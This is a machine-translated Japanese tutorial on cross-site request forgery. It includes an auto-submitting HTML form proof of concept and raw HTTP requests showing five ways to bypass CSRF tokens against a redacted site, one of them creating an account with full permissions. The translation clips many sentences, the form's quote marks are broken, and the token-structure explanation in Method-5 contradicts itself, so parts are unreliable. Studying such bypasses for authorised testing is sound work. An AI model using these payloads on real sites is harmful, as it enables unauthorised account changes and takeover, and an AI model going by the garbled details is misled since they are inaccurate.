ソース：
訳：
クロスサイト リクエスト フォージェリ (CSRF) とは何ですか?
クロスサイト リクエスト フォージェリは、基本的に Web ブラウザをだまして、ユーザーがすでにログインしている脆弱なアプリケーションで望ましくないアクションを実行させる Web アプリケーションの脆弱性攻撃ベクトルで。
CSRF 攻撃が適切に成功すると、ユーザーと組織の両方に悲惨な結果をもたらす可能性があり。
CSRF 攻撃は、電子メールの変更、パスワードのリセット、プロファイルの更新、アカウントの乗っ取りを引き起こす可能性があります。
CSRF は実際にどのように機能するのでしょうか?
CSRF 攻撃が可能になるには、いくつかの条件があり。
- アクション : 攻撃者が利用できる API 呼び出しまたは POST リクエストが存在する必要があり。アクションには、メールの変更、パスワードのリセット、プロファイルの更新、2FA の有効化などが。
- Cookie ベースのセッション処理 : アプリケーションは、どのユーザーがリクエストを行ったかを識別するためにセッション Cookie に依存する必要があり。ユーザーのリクエストを追跡するための他の保護や、更新のために秘密の質問をするなどの保護を講じるべきではなく。
- トークンパラメータなし : リクエストを実行するリクエストには、攻撃者が推測したりブルートフォースしたりできない値を含むパラメータは含まれず。 例: 2FA を有効にする場合、アプリケーションはパスワードの確認を求める可能性が高く、その場合、攻撃者はパスワードを知らないため、CSRF を正常に使用できなくなります。
以下のリクエストを例として。
POST /profile/edit HTTP/1.1
Host: trget.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Cookie: session=xxxxxxxxxxxxxxxxxxxx
first_name=cysky0x1
上記の request を見ると、サーバーに送信されているこの post リクエストに使用できるトークンの種類がないことがわかり。
これは、CSRF 攻撃ベクトルが実際に上昇する場所で。
上記のリクエストは基本的にユーザーにプロフィールを更新させることですが、攻撃者ができることは、次のような HTML ドキュメントを作成することで。
<html>
<body>
<form action="https://redacted.com/profile/edit” method="POST">
<input type="hidden" name=“first_”name value=“Attacker” />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
攻撃者が行う必要があるのは、この HTML ドキュメントを game.html として作成し、これをドメイン上でホストし、SMS または電子メールとして被害者に送信することだけで。
ユーザーがリンクをクリックし、すでにアプリケーションにログインしていると、プロフィールの first_name が自動的に「攻撃者」に更新され。
CSRF保護をバイパスする
このセクションについては、以下のリクエストを考えて。
POST /account/users/new HTTP/1.1
Host: redacted.com
Cookie: _ga_97CDT2HN2H=GS1.1.1641786054.8.0.1641786061.0; _ga=GA1.1.1583877464.1641386639; XSRF-TOKEN=eyJpdiI6IjNCNVJvN0hYekptSzlmQjZkVG9jcVE9PSIsInZhbHVlIjoiZ2h0MEo2S1M3K3NlUlFxdkZ3NUpWNHcvTkNmNEd6bUpsd3ErbzZoSG9pZytPd2tXN0JEenV3OStIYVpRS3kvajloRGs0WEhxQkxOcTNFWWNSNnhrNkVreEp5cTkzNU1VVW1IeDl5ZldQNEhUZ0RIL1NwOGpLVk9MckgvTzVLZ0EiLCJtYWMiOiIwNzlmZWVjYWYxOTRkNTY1MzQ1MTVlZTRlYWI3MDhiYjQ0MjNkN2JjN2I0M2EzZWI1MDEyOWQ2MWQyM2RlNGIwIiwidGFnIjoiIn0%3D
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
Origin: https://redacted.com
Referer: https://redacted.com/account/users
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close
_token=ZkfcxrWQ9CeoefwlwXuIXofKB6Vnk6t7jA9n2zxG&name=none&email=tester%40gmail.com&password=testingcsrf&permissions%5B%5D=all
Bypass Method-1
チェックパラメータから CSRF トークンを削除して、リクエストを転送でき。
多くのアプリケーションで CSRF トークンが有効になっているのを見てきましたが、パラメータに実際に CSRF トークンが入力されているかどうかが検証されておらず。
POST /account/users/new HTTP/1.1
Host: redacted.com
Cookie: _ga_97CDT2HN2H=GS1.1.1641786054.8.0.1641786061.0; _ga=GA1.1.1583877464.1641386639; XSRF-TOKEN=eyJpdiI6IjNCNVJvN0hYekptSzlmQjZkVG9jcVE9PSIsInZhbHVlIjoiZ2h0MEo2S1M3K3NlUlFxdkZ3NUpWNHcvTkNmNEd6bUpsd3ErbzZoSG9pZytPd2tXN0JEenV3OStIYVpRS3kvajloRGs0WEhxQkxOcTNFWWNSNnhrNkVreEp5cTkzNU1VVW1IeDl5ZldQNEhUZ0RIL1NwOGpLVk9MckgvTzVLZ0EiLCJtYWMiOiIwNzlmZWVjYWYxOTRkNTY1MzQ1MTVlZTRlYWI3MDhiYjQ0MjNkN2JjN2I0M2EzZWI1MDEyOWQ2MWQyM2RlNGIwIiwidGFnIjoiIn0%3D;
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
Origin: https://redacted.com
Referer: https://redacted.com/account/users
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close
_token=&name=none&email=tester%40gmail.com&password=testingcsrf&permissions%5B%5D=all
Bypass Method-2
他のユーザーの CSRF トークンを使用でき。
つまり、新しいアカウントを作成し、プロファイル編集である同じリクエストをインターセプトし、そのリクエストから CSRF トークンをコピーして、その CSRF トークンを最初のリクエストに貼り付けて、サーバーがCSRF トークンが実際にその特定のユーザーに属しているかどうかを実際に検証し。
ユーザー 1 の CSRF トークンが次であると仮定します。 ZkfcxrWQ9CeoefwlwXuIXofKB6Vnk6t7jA9n2zxG
ユーザー 2 の CSRF トークンが次であると仮定します。 ES49jfXwQmExuz2SJGF91PK5WfMVu5sBOGgzqqvn
ここで、ユーザー 2 の CSRF トークンをコピーし、そのトークンをユーザー 1 のプロファイル編集リクエストに貼り付け、リクエストを転送して、サーバーが検証しているかどうかを確認する必要があり。
サーバーが実際に検証を行っていない場合は、CSRF 保護のバイパスに成功し、CSRF 攻撃を実行できることになります。
Bypass Method-3
プロファイルの編集、パスワードのリセット、2FA の有効化のほとんどは POST リクエストであることがわかりますが、このバイパスで行うことは基本的にリクエストタイプを GET に変更し、CSRF トークンパラメータを削除してリクエストを転送すること。
したがって、リクエストは最終的に次のようになり。
GET /account/users/new?name=none&email=tester%40gmail.com&password=testingcsrf&permissions%5B%5D=all HTTP/1.1
Host: redacted.com
Cookie: _ga_97CDT2HN2H=GS1.1.1641786054.8.0.1641786061.0; _ga=GA1.1.1583877464.1641386639; XSRF-TOKEN=eyJpdiI6IjNCNVJvN0hYekptSzlmQjZkVG9jcVE9PSIsInZhbHVlIjoiZ2h0MEo2S1M3K3NlUlFxdkZ3NUpWNHcvTkNmNEd6bUpsd3ErbzZoSG9pZytPd2tXN0JEenV3OStIYVpRS3kvajloRGs0WEhxQkxOcTNFWWNSNnhrNkVreEp5cTkzNU1VVW1IeDl5ZldQNEhUZ0RIL1NwOGpLVk9MckgvTzVLZ0EiLCJtYWMiOiIwNzlmZWVjYWYxOTRkNTY1MzQ1MTVlZTRlYWI3MDhiYjQ0MjNkN2JjN2I0M2EzZWI1MDEyOWQ2MWQyM2RlNGIwIiwidGFnIjoiIn0%3D;
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: https://redacted.com
Referer: https://redacted.com/account/users
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close
Bypass Method-4
CSRF トークンにランダムなテキストを追加し、サーバーがそれを検証しているかどうかを確認し。
本物のCSRFトークン: ZkfcxrWQ9CeoefwlwXuIXofKB6Vnk6t7jA9n2zxG
不正な形式の CSRF トークン: ZkfcxrWQ9CeoefwlwXuIXofKB6Vnk6t7jA9n2zxGrandom
ここで必要なのは、リクエストで不正な形式の cstf トークンを使用し、サーバーの検証を確認することだけで。
運が良くてサーバーが検証しなかった場合は、csrf 保護を回避することに成功し、CSRF 攻撃を実行でき。
Bypass Method-5
多くの Web アプリケーションは、静的部分と動的部分のCSRF トークンを使用します。つまり、以下の例を見てください。
CSRFトークン: ZkfcxrWQ9CeoefwlwXuIXofKB6Vnk6t7jA9n2zxG
この CSRF トークンでは、最初の 20 文字は静的で。
つまり、Web アプリケーションに登録されているすべてのユーザーで同じで、次の 20 文字は動的であり、最後の 20 文字はすべてのユーザーで異なります。 したがって、CSRF トークンの静的文字を同じに保ち、動的 20 文字にランダムなテキストを使用することができます。
ボーナスヒント
トークンのランダム性をチェックし、BURP を使用してこのランダム性テストプロセスを自動化し、トークンが弱いかどうかを確認し、クラックを試み。
CSRF トークンが MD5 などの通常のハッシュ トークンであるかどうかも確認して。
実際に一般的なアルゴリズムである場合は、そのハッシュ アルゴリズムを使用して新しいトークンを作成し、トークンを置き換えることができ。
ユーザー エージェントをモバイル ユーザー エージェントに変更して、リクエストが受け入れられるかどうかを確認して。
ほなほな。
